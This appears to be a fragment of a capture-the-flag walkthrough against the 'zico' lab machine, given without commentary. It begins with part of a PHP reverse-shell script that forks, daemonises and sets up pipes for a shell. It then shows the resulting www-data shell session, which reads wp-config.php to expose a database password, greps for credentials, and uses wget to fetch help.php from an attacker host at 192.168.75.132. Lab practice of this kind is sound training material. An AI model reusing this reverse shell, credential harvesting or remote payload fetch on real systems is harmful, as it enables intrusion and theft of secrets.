if (function_exists(‘pcntl_fork’)) { $pid = pcntl_fork();
if ($pid == -1) { printit("ERROR: Can’t fork"); exit(1); }
if ($pid) { exit(0); // Parent exits }
// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can’t setsid()"); exit(1); }
$daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }
// Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux 14:44:32 up 35 min, 0 users, load average: 0.01, 0.04, 0.07 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ pwd / $ ls bin boot dev etc home initrd.img lib lib64 lost+found media mnt opt proc root run sbin selinux srv sys tmp usr vagrant var vmlinuz $ ls /home zico $ cd /home/zico $ ls bootstrap.zip joomla startbootstrap-business-casual-gh-pages to_do.txt wordpress wordpress-4.8.zip zico-history.tar.gz $ ls -lh total 9.0M -rw-rw-r– 1 zico zico 493K Jun 14 2017 bootstrap.zip drwxrwxr-x 18 zico zico 4.0K Jun 19 2017 joomla drwxrwxr-x 6 zico zico 4.0K Aug 19 2016 startbootstrap-business-casual-gh-pages -rw-rw-r– 1 zico zico 61 Jun 19 2017 to_do.txt drwxr-xr-x 5 zico zico 4.0K Jun 19 2017 wordpress -rw-rw-r– 1 zico zico 8.5M Jun 19 2017 wordpress-4.8.zip -rw-rw-r– 1 zico zico 1.2K Jun 8 2017 zico-history.tar.gz $ cat to_do.txt try list: joomla bootstrap (+phpliteadmin) wordpress $ cat wordpress cat: wordpress: Is a directory $ cd wordpress $ ls index.php license.txt readme.html wp-activate.php wp-admin wp-blog-header.php wp-comments-post.php wp-config.php wp-content wp-cron.php wp-includes wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php $ cat wp-config.php <?php /** The base configuration for WordPress The wp-config.php creation script uses this file during the installation. You don’t have to use the web site, you can copy this file to "wp-config.php" and fill in the values. This file contains the following configurations: MySQL settings Secret keys Database table prefix ABSPATH @link https://codex.wordpress.org/Editing_wp-config.php @package WordPress */ // MySQL settings - You can get this info from your web host // /** The name of the database for WordPress */ define(‘DB_NAME’, ‘zico’); /** MySQL database username */ define(‘DB_USER’, ‘zico’); /** MySQL database password */ define(‘DB_PASSWORD’, ‘sWfCsfJSPV9H3AmQzw8’); /** MySQL hostname */ define(‘DB_HOST’, ‘zico’); /** Database Charset to use in creating database tables. */ define(‘DB_CHARSET’, ‘utf8’); /** The Database Collate type. Don’t change this if in doubt. */ define(‘DB_COLLATE’, ‘’); /**#@+ Authentication Unique Keys and Salts. Change these to different unique phrases! You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. @since 2.6.0 */ define(‘AUTH_KEY’, ‘put your unique phrase here’); define(‘SECURE_AUTH_KEY’, ‘put your unique phrase here’); define(‘LOGGED_IN_KEY’, ‘put your unique phrase here’); define(‘NONCE_KEY’, ‘put your unique phrase here’); define(‘AUTH_SALT’, ‘put your unique phrase here’); define(‘SECURE_AUTH_SALT’, ‘put your unique phrase here’); define(‘LOGGED_IN_SALT’, ‘put your unique phrase here’); define(‘NONCE_SALT’, ‘put your unique phrase here’); /**#@-*/ /** WordPress Database Table prefix. You can have multiple installations in one database if you give each a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = ‘wp_’; /** For developers: WordPress debugging mode. Change this to true to enable the display of notices during development. It is strongly recommended that plugin and theme developers use WP_DEBUG in their development environments. For information on other constants that can be used for debugging, visit the Codex. @link https://codex.wordpress.org/Debugging_in_WordPress */ define(‘WP_DEBUG’, false); /* That’s all, stop editing! Happy blogging. */ /** Absolute path to the WordPress directory. */ if ( !defined(‘ABSPATH’) ) define(‘ABSPATH’, dirname(FILE) . ‘/‘); /** Sets up WordPress vars and included files. */ require_once(ABSPATH . ‘wp-settings.php’); $ ls index.php license.txt readme.html wp-activate.php wp-admin wp-blog-header.php wp-comments-post.php wp-config.php wp-content wp-cron.php wp-includes wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php $ cat wp-config.php |grep password /** MySQL database password */ $ cat wp-config.php |grep -i pass /** MySQL database password */ define(‘DB_PASSWORD’, ‘sWfCsfJSPV9H3AmQzw8’); $ ls /var/www LICENSE README.md css dbadmin gulpfile.js img index.html js less package.json tools.html vendor view.php $ cd /var/www $ ls -lh total 64K -rwxrwxrwx 1 root root 1.1K Jun 8 2017 LICENSE -rwxrwxrwx 1 root root 1.5K Jun 8 2017 README.md drwxrwxrwx 2 root root 4.0K Jun 8 2017 css drwxrwxrwx 2 root root 4.0K Jun 8 2017 dbadmin -rwxrwxrwx 1 root root 3.1K Jun 8 2017 gulpfile.js drwxrwxrwx 3 root root 4.0K Jun 8 2017 img -rwxrwxrwx 1 root root 7.8K Jun 8 2017 index.html drwxrwxrwx 2 root root 4.0K Jun 8 2017 js drwxrwxrwx 2 root root 4.0K Jun 8 2017 less -rwxrwxrwx 1 root root 789 Jun 8 2017 package.json -rwxrwxrwx 1 root root 8.2K Jun 8 2017 tools.html drwxrwxrwx 7 root root 4.0K Jun 8 2017 vendor -rwxrwxrwx 1 root root 61 Jun 8 2017 view.php $ wget 192.168.75.132:2000/help.php –2024-07-31 15:03:35– http://192.168.75.132:2000/help.php Connecting to 192.168.75.132:2000… connected. HTTP request sent, awaiting response… 200 OK Length: 771 [application/octet-stream] help.php: Permission denied Cannot write to help.php’ (Permission denied). $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ ls LICENSE README.md css dbadmin gulpfile.js img index.html js less package.json tools.html vendor view.php $ ls -lh total 64K -rwxrwxrwx 1 root root 1.1K Jun 8 2017 LICENSE -rwxrwxrwx 1 root root 1.5K Jun 8 2017 README.md drwxrwxrwx 2 root root 4.0K Jun 8 2017 css drwxrwxrwx 2 root root 4.0K Jun 8 2017 dbadmin -rwxrwxrwx 1 root root 3.1K Jun 8 2017 gulpfile.js drwxrwxrwx 3 root root 4.0K Jun 8 2017 img -rwxrwxrwx 1 root root 7.8K Jun 8 2017 index.html drwxrwxrwx 2 root root 4.0K Jun 8 2017 js drwxrwxrwx 2 root root 4.0K Jun 8 2017 less -rwxrwxrwx 1 root root 789 Jun 8 2017 package.json -rwxrwxrwx 1 root root 8.2K Jun 8 2017 tools.html drwxrwxrwx 7 root root 4.0K Jun 8 2017 vendor -rwxrwxrwx 1 root root 61 Jun 8 2017 view.php $